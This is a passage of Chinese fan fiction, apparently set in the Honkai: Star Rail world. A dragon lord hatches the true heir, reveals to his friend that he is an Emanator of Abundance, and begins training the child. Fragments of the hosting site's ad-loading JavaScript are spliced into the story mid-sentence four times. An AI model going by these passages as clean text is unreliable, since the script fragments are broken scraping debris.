至于强抢,守卫一点也不敢。这位是龙尊,不能伤到,他怀中的持明卵更不可伤。
一时间,除了言语,守卫也没有其他好办法。
云峥自然也知道族规,但今天他头一次觉得太过麻烦。
“…这是吾的弟子。”
云峥只是静静地望着守卫们。
”
“…龙尊大人,还请不要为难我等。就算您要收它为徒,也需等其诞生,而非是在对方还待在蛋中时。”守卫苦口婆心,企图让云峥放弃现在带着持明卵离开的想法。
云峥:“……”
好烦。
他眉头微皱,面上似乎浮现出几分无奈的烦躁。
“…只要它诞生就可以带走吗?”云峥沉默了一会儿问道。
守卫们互相对视,犹豫片刻后齐齐点了点头,“没错。”
“嗯,好。”
守卫们听闻此言,心中如释重负。一人上前伸手欲从云峥手中接过持明卵。
可云峥却微微一侧身,巧妙地退开了。
他在守卫们惊恐的目光中,屈起手指对着有大片裂痕的持明卵敲了敲。
“出来。”语气催促。
原本看着云峥笑话的持明卵停下颤抖,好似被云峥这举动震惊到了。
“出来。”云峥不厌其烦地再次重复。
守卫们已经不知道说些什么好了。
龙尊大人您怎么能如此天真!这持明卵怎么可能您说出来就诞生的?
守卫忍着笑意,故作镇定地再次上前伸手想要拿走持明卵。
“龙尊大人,这样是不行的。您再怎么说,它都不会……”
然而守卫的话还没有说完,便戛然而止,他的喉间似乎被什么东西卡住,无法继续。
因为在众目睽睽之下,那持明卵在静谧中发出一声脆响,随后裂纹如同蛛网般迅速扩散,片片蛋壳如花瓣般纷纷滑落,。
竟,竟真的诞生了!
还是仅仅因为自家龙尊的一句话!
……
8. 真假
亲眼目睹了自家龙尊以言语使持明卵诞生的守卫们震惊过后,目光中流露出更加崇敬与火热的亮光。
不愧是他们的龙尊,竟然有此等超凡脱俗的伟力!
守卫们愈发狂热的眼神,让云峥明白他们又背着他脑补了不少东西,心里微微叹息。
但是他暂且无法顾及为他们解释。
此刻,在他的怀中,新生的小冱渊下意识地伸手拉着他的衣衫,借此挡住自己的龙之本相,不愿为外人所见所知。
虽然生而知之,亦拥有着历代冱渊君的记忆,小冱渊心里依然对这份沉重的职责有着抗拒之心。
当初云峥先一步诞生,有同样拥有龙之本相的族人替代自己担任起了龙尊之责时,能闻外界情况的小冱渊在蛋中就差举双手赞成。
若非对方这几次态度格外坚决,甚至于今日将她从众多持明卵中找出,她大抵会在对方蜕生后再破壳而出。
悠然自得享受自由时光的偷懒计划被打破,她也只能听对方的。
“吾先带汝去见龙师。”
将蛋壳收起,云峥抱着小冱渊朝着龙师所在而去,步伐坚定稳健。
这次守卫们没有再去阻拦对方。刚诞生的族人必须面见龙师是历来习俗,所以云峥此举并无违反族规。
而由身为龙尊的云峥亲自送去面见,不言而喻地昭示了这位即将成为龙尊弟子的族人在龙尊心里多么重要。
一路畅通无阻。
云峥带着小冱渊直接赶往了今栀的院落。
抵达目的地时,令云峥没想到的是此时此刻的今栀并非在勤勉工作,反而是举着长剑正气势汹汹地追着槿希打。
地面上,散落着树木的枝节,有些地方则是被脚印压成的泥团,似乎在诉说着刚刚经历的激烈追逐。
而泥团旁边,一灰色鸽子拍着翅膀从地上一跃而起,扑腾着翅膀飞走了。
云峥觉得自己来的时间可能不大适宜。
手捂住小冱渊的眼睛,云峥沉默着后退,心中默念:
只要这两位还未发现吾,吾便算作未曾来过。
越是不想,现实越是不能如愿,身后突然传来轻咳声,场景像极了前些日子在议事殿后门,令人倍感熟悉。
云峥:“……”
不仅情形相似,就连那出声之人的音色也格外耳熟。
“云峥?”刚解放出来的烁星看着好友偷感十足地自龙师今栀的院前往外挪动,好似不愿为院中人发觉。
云峥扭头朝声处看去,果然是烁星。他心中感叹了一下世事多变,脚下步伐却不自主地快了几分,来到对方身旁。
等好友靠近,烁星才看清对方怀中蠕动的生物,不禁好奇问道:“你怀里抱着什么?”
“…冱渊。”
云峥思索片刻,将整个持明小人从怀里拎出,举到好友面前向其展示。
自觉被当做展品的小冱渊内心骂骂咧咧,也庆幸云峥先前给她裹了一小件衣服没让她光溜着身体。
“她是此代的冱渊君。”怕好友不理解,云峥再度解释清楚。
烁星看看满脸认真之色的好友,再看看一脸心如死灰的小持明,目光辗转,随后一言难尽地阐述自己的疑问。
“可云峥不就是【冱渊君】吗?你尚未蜕生,哪来的新冱渊君?”
闻言,云峥露出恍然大悟之色,怪不得他觉得他遗忘了什么。
原因在于他与小冱渊两者的身份,他顶替了【冱渊君】的名号,那刚出生的小冱渊便没了名号可用。
“吾不是冱渊,她才是。”云峥干脆利落地坦白自己并非【冱渊君】。
烁星:“……”
“云峥你脑子真没睡坏?”
质疑好友的同时,烁星内心发出土拨鼠尖叫。
怎么办!亲亲好友一觉睡醒突然否认自己身份,说小族人才是【冱渊君】,完辣!
他那顿酒真把好友喝出毛病了啊喂!他简直就是罪大恶极!
云峥:“吾真的不是…”
我真就是个普普通通的丰饶令使,被迫在方壶当了千余年的龙尊而已。
“什么是与不是?”
院外的动静吸引到院内的人。
一副正经姿态的今栀和槿希从大门走出。
看着他们这干净的衣衫,刚才所见到的情景不由得浮现在云峥的脑海中。
“……二位现在是打完了?”他没忍住地问上一句。
随后,今栀和槿希二人的脸齐刷刷地变了颜色,一会儿红一会儿白。
没想到会被龙尊看到的两人开始浑身不自在起来,不免带上窘迫。
槿希则是反应迅速,以掩耳不及迅雷之势将被云峥举起的小冱渊抢到自己手中。
他笑呵呵地拍哄着小冱渊,同时试图通过转移话题打破尴尬:“云峥大人怎么会来这?还带上这么一个小家伙,连样貌都和龙尊小时候长得那么像——”
“?!!等等,这小家伙……”
话到一半,余音未散,槿希猛然意识到,眼前这个小持明竟是与龙尊幼年时一样有着龙之本相,心中瞬间掀起滔天巨浪。
联想刚刚听到的断断续续的话语,槿希脸色骤然凝重起来。
今栀也意识到事情的重要性,当即道:“云峥大人、烁星,快随老夫二人进来!”
由今栀领路,四人一小直入书房中。
从槿希手中接过小冱渊,今栀望着那月白的发色与眼睛,眸光微颤,露出一抹笑意。
“果然是,冱渊君啊。”
“没想到有生之年,还能见到您啊。”槿希眼中也感触颇多。
而此时,站在一旁的烁星,却对两位龙师的对话感到一阵迷茫,心中更是愈发慌乱。
他不由得将目光投向身旁的好友,“云峥…”
声音带着丝丝颤抖,“你真的、不是【冱渊君】吗?”
面对好友的再度质问,龙尊垂着眸,睫毛微颤,轻轻吐出两个字:“不是。”
这简单的否定,却如同一石激起千层浪,让周围的空气都似乎凝固了。
难以言喻的沉重感瞬间笼罩着烁星,他僵硬着身体,视线在一大一小之间流转。
“…若她才是冱渊君,那云峥你又是谁啊?”烁星其实很想扯出一抹笑,告诉好友他其实并非质疑对方。
可是思绪如同被猫抓乱的线团,一时半会儿理也理不清了。
龙尊保持着沉默,没有回答。
“所以我所交之友一直以来,都是鸠占鹊巢之人吗?”烁星的语气变得酸涩。
龙尊闭了闭
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
眼,嘴唇微动,想要解释些什么,可又瞬间顿在了喉咙口,难以吐出。
“他也是冱渊君。”
清楚此事肯定会让云峥与烁星之间生之间隙,今栀组织好言语便要开口承认云峥的身份,却不料手中抱着的小冱渊先他一步开了口。
“没有什么鸠占鹊巢、李代桃僵之说,他就是方壶的冱渊君,一直都是。”
刚诞生不到一日的小持明用着稚嫩的嗓音一字一句道,言语间尽是对云峥千余年的所作所为的肯定。
“他亦有龙尊本相,他为方壶所做的一切你们不都看在眼中吗?龙尊之名他担当的起。”
“更何况,我原本决定要等他蜕生再出来的,是这家伙没事跑过来唠叨,非要我出来。轮着来不更好吗?你一代我一代。”
再想到自己时不时就被打扰了清梦,小冱渊没忍住朝面无表情的龙尊翻了个白眼。
她瘪嘴连连控诉:“你就非要走吗?留在方壶有什么不好的!我都不介意你来当龙尊诶!”
小冱渊气呼呼地鼓起小脸,不开森地看着龙尊。
“……”
龙尊被小冱渊的一番话说得一愣一愣的,听到她如此控诉,忍不住蹙眉。
“这是汝应尽之责,而非吾。”
虽然龙尊很喜欢工作,但包揽他人职责白打工千余年已经算是极限了。
龙尊抬眸与小冱渊四目相对,淡淡道:
“代行职责千余年,吾未曾索求半分。今仅要求汝尽责,若是不能,实在过分、无礼。”
龙尊嗓音冷清,言语简洁,短短两句便让原本信心满满的小冱渊也不免感到理亏。
小冱渊梗着脖子,“那又怎么样!你不是工作得挺开心吗,我这么做分、分明是为了哄你开心!”
这话说得小冱渊自己都觉得没底气,但她又不愿就此认输,于是便瞪大了那双眼睛,继续硬着头皮说着:
“反正我不准你走!方壶也是你的家,你怎么能说抛下就抛下!”
龙尊抬起手臂,屈起手指对准小冱渊的额头轻轻一弹。
“不可。”他否决了对方的提议。
“吾亦有吾需完成之事。”
小冱渊眼睛都红了,“你也是方壶的一份子,不许离开!”
傲娇小龙的“委婉”挽留让龙尊微微勾起唇角,“汝非吾,不可替吾做决定。”
“但——”
偶生挑逗之意的龙尊故意停顿了几秒,见到小冱渊更加急切后才缓缓接着道,
“吾会应汝之求,待汝可继龙尊之位再离。”
这突如其来的恶趣味让小冱渊呆愣,随即更生气了。
“你竟然耍我!你明明一副怎么看都是要立刻离开的样子!”
龙尊:“吾说过,会任汝之师,教导汝。”
小冱渊:SO,一切都是我一厢情愿?
“!骗子!啊!”
若非是被今栀抱着,小冱渊已经冲上去狠狠给欺负她的龙尊来上两口。
“是汝不听。”
好心的龙尊决定再为未来弟子送上一刀。
片刻沉默后迎来的是暴风雨。
“啊——!你走!你走!我不要你了!”
“我才不稀罕你当我老师!”
……
9. 挽留
“若汝不愿,吾亦可现在离去。”
龙尊转身身背对众人,抬步朝着门扉处走去,同时轻声开口。
嗓音轻缓,清风拂面,似是叹息,似是无奈。
小冱渊被这话一噎,对方的动作及语气丝毫不像作假,此刻的她也顾不上生气了。
“不准走!”她挣扎着想要脱离龙师的手,短小的手臂奋力向前,小手指几乎要勾住龙尊飘起的衣摆。
那样温柔的星星,怎么可以让他伤心,怎么可以就这样地放手啊!
“既然承诺当我的老师,就不能食言!”小冱渊想要以此呼唤龙尊的回心转意。
两位龙尊刚才的交谈,旁人只能在一旁静默无声,无法插嘴。
而现在时机刚刚好。
今栀微微一顿,目光坚定地朝云峥投去,语调从容而坚定:“倘若云峥大人执意离开,我等自然不会强求。然而,凭心而论,老夫、槿希同冱渊君一样,都衷心希望您能留在这里。”
“您是方壶的龙尊这点,永远不会改变。”
槿希颔首,应和着:“今栀所说不错。云峥大人早在当初便已向我等坦白过身份,是您选择了方壶,而非我等选择了您。”
“您本就是自由的,却甘愿将这名为龙尊的枷锁佩戴于身,留下来庇护方壶。我等从未忘记过您的付出。”
“所以——”
“请您留下来吧云峥大人。”
目光如同晨星般闪烁,透着恳切与期待,槿希希冀地望向龙尊。
“……”
往昔的回忆似潮水涌来,青色龙眸中微光波动。
原来、当初的所言都还记得啊……
或许…并非所有人都不相信、承认他原本的身份——丰饶令使。
薄唇紧抿,早已准备离开的龙尊回首而望,所见是龙师的恳求。
“云峥,留下来吧。”
烁星自知先前的话语可能伤了好友的心,然而内心深处一股无形的力量却在促使他不要松手。
烁星凝视着云峥的身影。
“我们之间的约定永不更改。”
即使云峥并非冱渊君,又有什么关系呢?只要他是云峥,便一直是烁星心中永恒的挚友——
是曾经指引自己的那颗星海中最耀眼的星辰。
方才挣扎的小冱渊停下动作,月白色的大眼睛灼灼地盯着龙尊,等候他的回应。
几人无一例外都虔诚真挚地期许着龙尊能够再次留下。
留下…来…?
云峥沉默着。
扪心自问,作为龙尊在位千余年,对方壶的情感也早已悄然生根,生出那丝丝缕缕、难以割舍的依恋。
而现在,他的好友,他的下属,以及初见面的冱渊君都在挽留他。
“……”
时间恍若静止,气氛沉重而紧绷,所有人的目光都集中在龙尊身上,无声的言语将他紧紧包围。
龙尊面上多了几分纠结与迷茫,心底的斗争仿佛波涛汹涌,难以平息。
龙尊的态度显然被动摇,小冱渊自然看出来了他纠结杂乱的心绪,连忙趁热打铁地对着人唤道。
“我们都不介意你的身份,你的所作所为我都看在眼里,你是一位合格的龙尊,真的。”
小冱渊顿了顿,似乎在思索着更为坚定的话语,最终他眉头微微一挑,坚定地补充一句。
“反正,你不准走。”
龙尊静静地站在那,仿佛时间的流逝在这一刻凝滞,周围的一切都变得模糊,只有他心底的声音在耳边虚幻回荡。
‘留下吧…’
‘为了他们…留下吧…’
轻不可闻的一声呢喃从舌尖溢出,像是下定了什么决心,眸中的犹豫散去,化作一份坚定不移。
‘那就…留下来吧。’
“好。”
不大的声音,却响彻在房中。
龙尊的声音落定之时,房间中的气氛登时变了个样。
今栀和槿希互视一眼,各自露出了欣慰的笑容,仿若放下了一桩心事。
而烁星的表情也随之明亮起来,他如释重负,嘴角扬起满足弧度,眉眼间的光彩愈发惹眼。
他伸手抓住好友的手,恳切地道歉:“云峥,不会有下一次,我将永远站在你身边或是背后。”
这次失态的质疑,往后
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
都将不再有。
气氛如同融化的冰雪般温暖而和谐。
将要跑走的星星抓住的小冱渊达成了目的,面上洋溢着孩子般的得意,笑声清脆悦耳,宛如铃铛叮当。
“嗯哼哼,还是要靠我。”
似乎被小冱渊的高兴所感染,龙尊目光微动,在小冱渊的眼神扫到他的时候,面色不自觉地变柔和了些。
“嗯,全靠汝。”
“嘁嘁,就算你说好话,你也要继续帮我工作。”小冱渊傲着头,理直气壮道。
“好。”云峥点点头。
区区工作罢了。
“你抱我,不要他。”嫌弃龙师抱的不舒服,小冱渊朝龙尊伸手。
“好。”
有求必应的龙尊将小冱渊抱入自己怀中。
被嫌弃的今栀本人保持微笑,这是冱渊君也是龙尊,不能凶,孩子还小也不能打。
看着自己找好姿势的舒舒服眯着眼的小冱渊,云峥突兀地想起被他收起来的蛋壳。
“汝要吃蛋壳吗?”
小冱渊:“???”
蛋壳?吃什么蛋壳?
龙尊摸出那时被他收起的蛋壳,递到小冱渊嘴边。
“吃。”言简意赅。
若不是知晓持明蛋壳的用途,这种强制喂食的行为,小冱渊都可以直接申请举报有人故意虐待未成年持明,不给幼崽吃正常食物了。
对着龙尊翻了个大大的白眼,小冱渊张大嘴巴,愤愤地将蛋壳狠狠咬下一大块,像是咬在对方身上一样。
她心里也忍不住吐槽:‘究竟会不会照顾幼崽啊,好歹掰小点喂我呀!’
费力地将持明蛋壳全部吃光,小冱渊闭眼就睡,消化能量去了。
从她诞生到现在,情绪波动太大,又耗费不少精力在处理事情上。好不容易解决完,自然要好好休息了。
“既然冱渊君累了,那余下之事另寻佳时谈论吧。”
好歹也是新龙尊,槿希看对方疲倦的小脸,疼惜地提出建议。
云峥:“可,冱渊与吾同住。”
烁星:“那我送云峥和冱渊君回去。”
……
10.都行
目送着两大一小离开,槿希心中百感交集,情不自禁地对准旁边的今栀的肩膀,重重一拍,似乎想借此动作排解心中的愁苦。
他眉头紧锁,面色愁苦:“接下来,怎么和其他人解释冱渊君和云峥大人的情况?”
今栀用手指点了点桌上的文书,那是今日龙尊提及龙祖的总结。
“这个,足矣。”
龙祖都显灵了,那他们再多个龙尊又如何?
【冱渊君】只是个名号,只不过现由龙尊云峥担任。等其退任,这个名头照样会归还于新生龙尊。
“这倒也是。”对于这个说法,槿希挺赞同的。
龙祖都能显灵了,他们多个龙尊又怎么了?问就是龙祖看他们混得太惨了又送了一个龙尊过来。
“我想等晚些通知那几个老家伙来你这聊聊。”槿希提议道。
尽管这件事已有解决之道,但龙尊的事情仍旧悬而未决。
“随你。”今栀语气淡然,似乎对此并不在意。
既然龙尊已然应允留下,短期内必定不会离去。眼下的重心,便是如何妥善安排应对未来龙尊身份暴露的后手。
倘若那种情况真的发生,他们决不能因为仙舟联盟的压力而将其交出。
“老家伙,我知道你在担心什么。心急吃不了热豆腐,除了这条路,别的法子我们也不是没有啊。”
槿希拿起那份有关龙祖的总结,神色满是憧憬与火热,“如若龙祖归来,我们何惧之有!”
他们之所以会移居仙舟,寻求巡猎庇佑,无非便是【不朽】陨落,无神庇护。
说得好听些,是持明族与仙舟联盟结盟;说得难听些,是仙舟联盟收容持明族。
然而,若能让不朽归来,哪怕持明族与仙舟联盟成为剑拔弩张的敌对关系,亦无不可。
寄人篱下,仰人鼻息,并非他们所愿。又有谁甘愿被他人支配生死与命运?
目光透过窗外,槿希凝视着那一片苍翠的林木,深邃的眸色仿佛暗藏着无尽的思绪:“你我都明白祂所代表着什么。”
代表着——
那个持明族曾经鼎盛的时期的繁华与荣耀。
持明,不朽的龙裔。
这个曾为不朽宠爱的种族却在神祗陨落之后变得如此狼狈不堪。
曾经的辉煌如今已成泡影,他们为了生存,不得不向其他势力低头,寻求其他星神的庇护,仿佛跌入了无尽的深渊,痛苦而无奈。
持明蜕生,另类的长生,同样被他人觊觎。
匹夫无罪,怀璧其罪。
当初持明族初来仙舟时,就出现过族人失踪的事件。拿持明做实验,屡不见鲜。
尤其是在那个不为仙舟人所容的时期,持明族人遭受的屈辱与打击,仿佛是一场噩梦,纠缠不清,挥之不去。
“我老了,但也想在蜕生前见证曾经的辉煌。”
槿希低声呢喃着,语气中透着一丝无奈与期待,“所以…他是希望啊。”
“……”
今栀默然不语,心中却同样涌动着那份渴望,槿希的话句句皆是他的心声。
如果可以,谁又愿意成为他人庇护下的可怜虫,像风中的浮萍,随波逐流,无处可归?
“唉…”又一声叹息自口中吐出,凝视着共事多年的老友落寞的身影,今栀亦于心不忍。
闭了闭眼,他点了点头:“尽力而为,但…莫要逼他。”
龙祖所下的重任如同高悬于天的重石,令他们无从应对,那更何况是被祂委以重任的云峥呢?
他所承受的,比之他们更加沉重与痛苦。
“终究是我有些魔怔了。”
槿希微微摇头,忽而笑得释然,眼神清澈,“不管怎么样,我们都要护他后生无恙啊。”
龙祖的复活绝非易事。
先前是因云峥千余年为持明族的付出而希望其后生安稳,而现在又加之龙祖复活的期望所在,那更不能让其有半分闪失了。
“……”
槿希叹息着,如同秋日微风,忧愁而沉重,又宛如拂过湖面的涟漪,荡漾开去。
有办法吗?
也许根本无计可施。
答案早已在心底浮现,
但死路中寻生路向来是生命的本能。
窗外枝头摇摇,几只雀儿掠过,动作轻盈地落在枝头。
一旁今栀恍若从梦中惊醒,下意识地转头寻望向老友的身影。
却蓦然间与之对视,皆在对方的眼中看到了那相同的向死而生的决心,心中顿时明了老友的思绪了。
两人相视而笑,彼此默契十足,却又各有打算,一切尽在不言之中。
……
另一边
回往寝殿的路途上,云峥抱着小冱渊,烁星并肩而行,三人之间此刻安静得不行。
还是烁星开口打破了沉默。
“云峥,你真的不能一直留在方壶吗?”
先前在龙师院中的谈话让烁星心中波澜起伏,碍于情况没有开口而问。
“…吾从未属于方壶。”
云峥顿住脚步,抬眸望向好友。
“方壶,亦不属于持明。”
烁星听明白了,因为方壶是仙舟联盟之一,所以云峥不会一直呆在这里。
他是因为持明才在这方壶待了上千年。
“为何要偏见仙舟?难不成你还和仙舟有仇不成?”烁星开玩笑道。
他看着好友,在对方变得复杂的神色中失了笑容,“真的?”
还真被他一语成谶啊?
手指轻柔地抚摸着半梦半醒的小冱渊,宛如微风拂过水面,带着一丝温柔的爱怜。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
云峥低下头看着幼崽困倦的睡容,轻轻地应道:“嗯。”
丰饶与巡猎的恩怨,亦是他与仙舟的恩怨。
丰饶令使能与仙舟联盟和谐共处?是不可实现且不存在的幻梦罢了。
如今他顶着【冱渊君】的名号,在方壶当持明龙尊,才能安然待在这。
否则,凭借仙舟对【丰饶】的恨意,方壶的战役绝对要重新打响,曾经仙舟对持明的排斥也必将卷土重来。
到那时麻烦的不只是他一人了,还有他身后成千上万的持明族人。
好不容易与仙舟人共处的持明又将经历怎样的风雨?他不敢想。
持明族人的数量对于仙舟人来说过于少了,但自不朽死后持明族就无法孕育后代。能能在岁月的洪流中保存至今,已是无比珍贵的幸事了。
因此,更是不能轻言冒险。
“汝说的不错。”
他平静地回复着烁星。
那神情如同深邃的湖水,稳重而坚定,已无需多言。
小冱渊终于经受不住困意,在指尖的逗弄下此时已然沉沉睡去,再无法因云峥的动作给予相应的小反应。
“如要细讲,也只能是恩怨难清。”
云峥微微垂下眸子,目光落在小冱渊安详的睡颜上,顺势轻轻收回了手,却在余光中捕捉到烁星面色上的异常变化。
“其他的,还是寡言为好。”他小小提醒。
烁星的反应却出乎意料。
顾及到云峥怀中的小冱渊,他克制地收敛着激动的情绪,双手抬起扣紧好友的肩膀。
“你,龙师究竟瞒了我什么?”
“为什么不告诉我?”
“我也可以帮上忙的,信我,好吗?”
话调往后带上了颤音。
即便控制着情绪,脑中搅乱的思绪让烁星的手指越来越用力,几乎要捏碎对方的骨头,云峥眉头也不自觉皱起。
“汝,需要冷静。”
龙尊怜人的目光落在好友的脸上,试图让他恢复以往的冷静。
“我知道,明白我在做什么。”
烁星苦笑着,向着对方祈求道:“求求你了,云峥。告诉我吧,至少、至少也让我有知情权吧…”
鲜少听到对方祈求的云峥微愣,他仿佛看到了当初上战场上时受伤对方哭着求着他别死的场景。
和现在一样,祈求着他啊。
求着他告诉。
他的好友,挚友…
烁星再次请求:“云峥,告诉我好吗…?”
“…好。”
心软的龙尊终究抵不过好友的恳求。
“只要汝…”
“不悔。”
龙尊眸底带染上晦暗。
“不后悔!”回应他的是坚定的话语。
……
11.教导
“吾,乃是丰饶令使。”
龙尊一字一句道。
烁星双目睁圆,身体骤然僵住,像是被无形的重力钉在了原地,眸中的震惊与骇然之色交织在。一起
他感到喉咙像是被堵住了,唇瓣微微颤抖,想要说些什么,却在脑海中回响起自己先前那句毫不犹豫的“不后悔”。
他发不出任何声音,只能苍白着脸,恍惚地松开手,无法遏制地踉跄着连连后退。
不会的,假的吧…
烁星神色不可置信地去看好友,回望他的是龙尊平静如水的眼睛,似乎再次诉说着这令他无法承受的真相。
好友的惊恐与无法接受皆在云峥的意料之中,所以他并不意外。
龙尊垂眸,将怀中的小冱渊抱紧,缓缓抬起步伐,微微侧身,绕过一旁久久未回神的烁星。
“这几日,汝休息吧。”
轻缓的语调中夹杂着些许关切。
那是他的好友,所以他愿意多给一次机会。
即便对方冷静下来,因丰饶令使的身份从而远离自己,他也会接受亦不会生气。
……
距坦白身份已过三日,烁星自那天以后就失了踪影,云峥没有故意去打探对方,一如既往地重复着生活,工作,以及族会。
今栀和槿希两位龙师公开新龙尊的诞生,其他龙师的反应却出乎意料地接受良好。
他们在公布第二天的族会上为小冱渊奉上他们精心挑选的众多名字。只不过最后,小冱渊挑中了云峥为她取的名字,就此定下姓名——「玄全」。
关于玄全由云峥教导一事,龙师们的全员通过。毕竟他们巴不得能让龙尊将所有精力从工作上转移到别处。
别说是培养新生龙尊了,恐怕云峥说要出去旅游都没问题。
其次便是就先前龙祖梦显之事,众人共议如何完成龙祖所命之事。
云峥让他们各自拿出方案,然后他就听了龙师们就各自的提议争吵了一天。
还是云峥觉得他们太浪费自己时间,将他们全部丢出了议事殿。
这已是第四日了。
阳光透过窗棂洒下斑驳的光影,空气中弥漫着木屑的清香。云峥整理完公务,终于将目光投向窗外练剑的玄全身上。
小小的身影在不大的练武场上如闪电般穿梭,手中的木剑灵动而有力,挥舞得如同一阵微风,轻盈而自然。
尽管她的身形尚小,但力量却惊人,光木人就已被击碎得体无完肤。
那散落一地的木屑便是她的战利品,彰显出小小身躯的非凡潜力。
看着一旁的玄全在比自己高了好几个身高的木人里来去自如,毫无疲倦之态。
云峥观察着,眼中闪过一丝赞赏,但想到自己的教学方式随即又忍不住叹了口气。
好吧,他得承认孩子也不是很好带的。
云峥没教过孩子,所以他只是将自己所会的在对方面前演示几遍。
在玄全照葫芦画瓢的时候指点出她手法亦或是姿势上的不足。
然而,光靠这些还不够。所以,云峥开始翻阅书籍了。
一些例如《如何三十天速成剑术》《你学我教必成大器》等等的书累堆在手边被他拿起细细观看,想要找出合适的方式去教导玄全。
只是这书看着看着,就有龙师请入进来了。
看到云峥低头思索的模样,再加之那桌上的书籍类别,恍然大悟的溪榷露出了惊异的表情。
溪榷的话语脱口而出:“(⊙o⊙)哇,原来云峥大人您竟不会教导孩子啊。”
头一次从龙尊脸上看到苦恼与郁闷,溪榷有些惊奇与兴奋。
毕竟,云峥大人在他们面前总是一副从容不迫的样子,而此刻,竟被教导孩子这件小事难住了。
“…吾并非全能。”云峥的语气依然冷淡,目光如刀锋般直勾勾地盯着溪榷。
他不禁思索,自己在这些龙师的眼中究竟是何等形象。
云峥揉了揉眉心。
他只是想问一句,为何自己不擅教孩子会让他们如此惊异呢?
溪榷见状,嬉笑着解释:“这不是因为云峥大人您总是将事情处理得完美无缺吗?大家都以为您什么都会呢!”
难得今日的云峥大人能露出了如此鲜活的一面。
云峥:“……”
又是他的原因吗?
他
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
微微叹息,心中暗自思忖,自己似乎太过能干了,才会给众人造成这种错觉。
乐呵呵地调侃龙尊几句后,溪榷的神色又逐渐变得认真,缓缓向云峥递出一份文书。
“本不想麻烦云峥大人的,奈何烁星那小子非要求我将他的外派任务全部划给别人,说他以后都给您当护卫。但这怎么可能的啊。”
溪榷斟酌了一下用词,小心翼翼地添了一句。
“那小子这两天宅家里,脑子可能不太好使了,云峥大人您看完别生气。”
从溪榷口中听到几日未听到的名字,云峥愣了愣,思绪如涟漪般荡漾开来,随后接过文书打开翻阅。
而溪榷却趁着龙尊专心阅读文书的空档,自己偷偷摸摸地溜到玄全面前逗弄后者。
“玄全殿下,云峥大人的教导您觉得怎么样?满不满意?”
溪榷嬉皮笑脸地冲玄全眨眼睛。
“不得不说,我还真没想到云峥大人这么厉害的人竟然能被这种事难到,玄全殿下你觉得稀奇不?”
他口若悬河,话语像泉水般源源不断,滔滔不绝。
玄全听着溪榷叽里咕噜说了一大堆话,小脸皱成一团。
这龙师怎么和别的画师画风那么不一样?废话怎么这么多?云峥有东西不会是很正常的事吧?
“大惊小怪。”玄全忍不住地翻了个白眼,扭头不再搭理这个话唠龙师,自顾自地专心练剑。
剑光闪烁,似乎将周围的喧嚣隔绝在外,只有那一刻的宁静和专注,才是她此刻所追求的。
她目视前方,执剑攻向木人。
就算云峥不会教又怎么样,她又不是学不会?
而且对方每次教的东西让她莫名有种熟悉感却又说不清,只能将原因归结于对方所学的也来源于这一脉。
溪榷正巧看到了对方脸上对自己的嫌弃之色,头顶原本直立的呆毛瞬间趴了下去。
溪榷:QwQ,一不小心就被玄全殿下嫌弃了。
为什么啊为什么?不是明明自己也一直都很讨小孩子喜欢吗?
溪榷想不明白缘由,只能灰溜溜地回房中,静候云峥看完文书后的决断。
……
12.训练
合上文书,云峥没有说话,只是呆愣着桌案,一时之间思绪如乱麻交织。
溪榷小心翼翼地屈腰,轻声询问:“云峥大人,您可有看法?”
他能隐约察觉到,此刻龙尊的沉默是沉重的抉择,而并非无话可说。
低垂着眼帘,手指摩挲着纸张的纹路,云峥竟有些不知如何开口。
是让溪榷回绝了那人一时上头的主张,还是默然认下其这份错误的决定。
理性与感性,让他拿不定主意。
“不允通过。”
短暂纠结下,云峥还是在回驳了这份文书上的提案。
一位优秀的护珠人本应在更高的地方,而非屈身于龙尊的身旁,做一个守卫。
烁星理应待在更合适的位置,他终有一日会离开,现在随他一起不妥。
思绪稍顿,他又补充道:“…让他来见吾。”
有些事还是他亲自说为好,若是未说清,让那人误会怕是会带来其他影响。
将持明族安理妥当,了却一切繁杂琐事,方能交予冱渊。
“好嘞,属下这便去通知烁星那小子。”
两句话就让溪榷明晓了云峥的意思,恭敬地向其行完告退之礼,便马不停蹄地去寻烁星。
送离了溪榷,云峥微微叹息,转身的瞬间,目光不由自主地被场中正在苦练的玄全吸引。
此时的她神情专注,额前的发丝因不断挥剑产生的汗水而微贴在额头上。
刚才被溪榷叽里咕噜唠唠了半天的小人显然将心中的不快全部发泄在木人身上。
随着她的每一次挥剑,直立的木人便惨遭重创,碎木屑飞溅,七零八落撒了一地。
侍奉在一旁的侍从们迅速行动,趁着片刻的休息,飞快上前清理残渣,重新摆上全新的木人。
算一算,这已经是更换的第8次了。
“玄全。”
眼见玄全擦掉汗水,再次往木人堆中冲,云峥出声喊住她。
“嗯?”被叫停的玄全疑惑地回望向暂停工作的龙尊,“干什么?”
“将木人撤下。”
龙尊没有回答玄全的问题,只是吩咐侍从们将木人从演武场上撤下。
“?”
玄全不明所以,只好乖乖地抱着半人大的木剑站在场地下方,等候着龙尊的安排。
“不需要这些死物,吾来当汝之对手。”
踏出房屋的龙尊一步步走近,站在玄全面前沉声道。
有什么比枯燥无味的单人锻炼更能让人进步飞快的?
是实战。
只是让玄全重复地挥剑,与木人对练,前期尚可,往后便无用。
木人是死物,只会一动不动地站在原地,任由着玄全砍断、击碎,而上了战场,敌人不会如此愚蠢地站着当活靶子。
云峥叹了口气,缓缓蹲下身,伸手抚摸着玄全的头,手指在其柔软的发丝间轻柔滑过。
动作之间虽然温柔,眼神却格外坚定与鼓励,“接下来吾会控制力气,汝只需坚持,并接住吾一剑。”
玄全听后,忍不住瞪大眼睛,云峥的话让她有些怀疑自我。
让她跟他打?真的假的?她还只是个刚诞生不到一周的孩子啊,用不用得着这么上强度啊!
玄全一个没忍住露出了生无可恋的表情,心中腹诽不断,面上只能咬牙应下。
“知道了。”
现在她得承认刚才那个话唠龙师说得非常正确,云峥这家伙是真的一点也不会带孩子。
无奈之下,玄全只能选择硬着头皮上了。毕竟,在对方面前就此认输怎么可能的啊!
硬上吧!
玄全目光一凝,眼睛随着对方的动作而动。
